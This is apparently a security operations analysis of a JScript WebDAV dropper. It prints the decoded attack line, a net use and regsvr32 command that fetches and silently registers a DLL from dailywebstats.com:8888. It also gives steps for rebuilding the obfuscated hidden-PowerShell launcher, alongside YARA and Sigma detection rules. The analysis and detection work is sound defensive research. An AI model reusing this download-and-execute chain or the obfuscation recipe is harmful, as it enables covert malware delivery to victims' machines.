unclassified-js-webdav-dropper: 35eea343 — Random-noise dictionary obfuscation, dailywebstats.com:8888

Executive Summary

JScript WebDAV dropper using a 62-entry random-noise dictionary lookup table to obfuscate a PowerShell -EncodedCommand cradle that mounts a remote WebDAV share and silently registers a DLL via regsvr32 /s. Fifty-fifth confirmed sibling of the unclassified-js-webdav-dropper family. C2: dailywebstats.com:8888; payload: 114812083419881.dll.

What It Is

• Filename: 658317182819512400.js ^[metadata.json]
• Size: 11,319 bytes ^[file.txt]
• Type: ASCII text — single-line JScript with no line terminators ^[file.txt]
• Family: unclassified-js-webdav-dropper — random-noise dictionary dialect (62 entries) ^[entities/unclassified-js-webdav-dropper.md]
• Dynamic analysis: skipped — CAPE does not detonate JScript files ^[dynamic-analysis.md]

How It Works

The script defines a single object btryduovzw containing 62 key/value pairs that map random lowercase noise strings (8–20 characters, no semantic content) to individual ASCII characters. ^[strings.txt] The keys are fully random — e.g. bvayycphmxuptzde → 7, avaisnju → f, xfpwlseetpxbnupym → e, xvgdhdb → A.

Execution chain:

1. try{suga();}catch(vsjttsju){...} — decoy suga() call that always throws, routing to catch block. ^[strings.txt]
2. Inside catch: Function('returnthis')()['WScript']['CreateObject']('WScript.Shell')['run']('powershell -EncodedCommand <BASE64>',0,false); ^[strings.txt]
3. The -EncodedCommand argument decodes (Base64 → UTF-16 LE) to:

   net use \\dailywebstats.com@8888\davwwwroot\ ; regsvr32 /s \\dailywebstats.com@8888\davwwwroot\114812083419881.dll
   

No persistence, no sandbox gate, no wordpad decoy, no nested try/catch decoys.

Decompiled Behavior

Not applicable — this is a plaintext JScript file, not a PE binary. No Ghidra/radare2 analysis required.

C2 Infrastructure

Interesting Tidbits

• Dictionary cardinality: 62 entries — same as siblings e6ebae6a, cc90d6c, ccb2d007, 6b7435afd70e, 58d9398a, 5931df0b, 6f72a3a9, 77cbe0c4, df42ecf8, fb353965, 33c0bfaf, aac0198b5, a3419c27a, 94686f16, 69f29779, 6d9546a6 ^[entities/unclassified-js-webdav-dropper.md]
• Key naming: pure random noise — no alliteration, no natural-language phrases, no compound words. Keys like btryduovzw, bvayycphmxuptzde, xfpwlseetpxbnupym, kmmmudqtnfyfbznwbr. ^[strings.txt]
• No decoys: Unlike many siblings, this sample lacks the wordpad launch decoy, nested try/catch noise blocks, and goto label padding. ^[strings.txt]
• PowerShell wrapper present: Uses -EncodedCommand (not plain -WindowStyle Hidden), which is the wrapper style seen on dailywebstats.com and cloudslimit.com infrastructure rather than the 45.9.74.36:8888 batch-only cluster. ^[strings.txt]
• Single-line format: 11,319 characters on one line with no line terminators — a trivial anti-formatting trick. ^[file.txt]

How To Mess With It (Homelab Replication)

Build an equivalent JScript obfuscator:

1. Write a benign PowerShell command (e.g. Write-Host "test").
2. Encode it as UTF-16 LE → Base64.
3. Build a JS dictionary of 62 random noise keys mapped to ASCII characters.
4. Assemble the execution chain via Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run']('powershell -EncodedCommand <BASE64>',0,false);.
5. Output as a single-line .js file.
6. Verify: cscript.exe //Nologo yourfile.js should spawn PowerShell invisibly (window=0).

Deployable Signatures

YARA rule

rule UNCLASSIFIED_JS_WEBDAV_DROPPER_DICT_62 {
    meta:
        description = "JScript WebDAV dropper with 62-entry dictionary lookup table obfuscation"
        author = "PacketPursuit SOC"
        reference = "/intel/analyses/35eea34350fb8f502bd336645cbd93bd6f9adbda8cbe852332959aeed84a33b9.html"
    strings:
        $dict_pattern = /\w+\[\'\w{8,20}\'\]\=\'\w\'/  // dictionary assignment pattern
        $func_return_this = "Function(''+"  // Function constructor with concatenated return-this
        $wscript_create = "['WScript']['CreateObject']"
        $wscript_shell = "WScript.Shell"
        $powershell = "powershell"
        $encoded_cmd = "EncodedCommand"
        $dav = "DavWWWRoot" nocase
        $regsvr32 = "regsvr32" nocase
    condition:
        filesize < 50KB and
        #dict_pattern >= 50 and
        $func_return_this and
        $wscript_create and
        $wscript_shell and
        $powershell and
        $encoded_cmd and
        $dav and
        $regsvr32
}

Sigma rule

title: JScript WebDAV Dropper — PowerShell EncodedCommand with Regsvr32
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'powershell'
            - '-EncodedCommand'
            - 'regsvr32'
            - 'DavWWWRoot'
    condition: selection
falsepositives:
    - Unknown
level: high

IOC list

Behavioral fingerprint

This JScript file defines a 62-entry character-lookup dictionary using random noise keys, then assembles Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run']('powershell -EncodedCommand ...',0,false) to execute an invisible PowerShell window that runs net use against a WebDAV UNC path at dailywebstats.com:8888 and then silently registers 114812083419881.dll via regsvr32 /s. No persistence, no decoy processes, no sandbox checks.

Detection Signatures

References

• Artifact ID: b289704b-b2af-4837-8952-a44153cec816 ^[metadata.json]
• OpenCTI labels: js, malware-bazaar ^[metadata.json]
• Family entity: unclassified-js-webdav-dropper
• Technique: js-dictionary-char-lookup-obfuscation
• Technique: webdav-regsvr32-dll-sideloading

Provenance

• file.txt — file utility (file type, size)
• metadata.json — OpenCTI artifact metadata
• strings.txt — full file content (single-line JScript)
• triage.json — triage classification
• dynamic-analysis.md — CAPE sandbox status (skipped)
• Decoded via custom Python script mapping btryduovzw['...'] dictionary lookups to ASCII characters, then Base64 → UTF-16 LE decode of the PowerShell -EncodedCommand argument.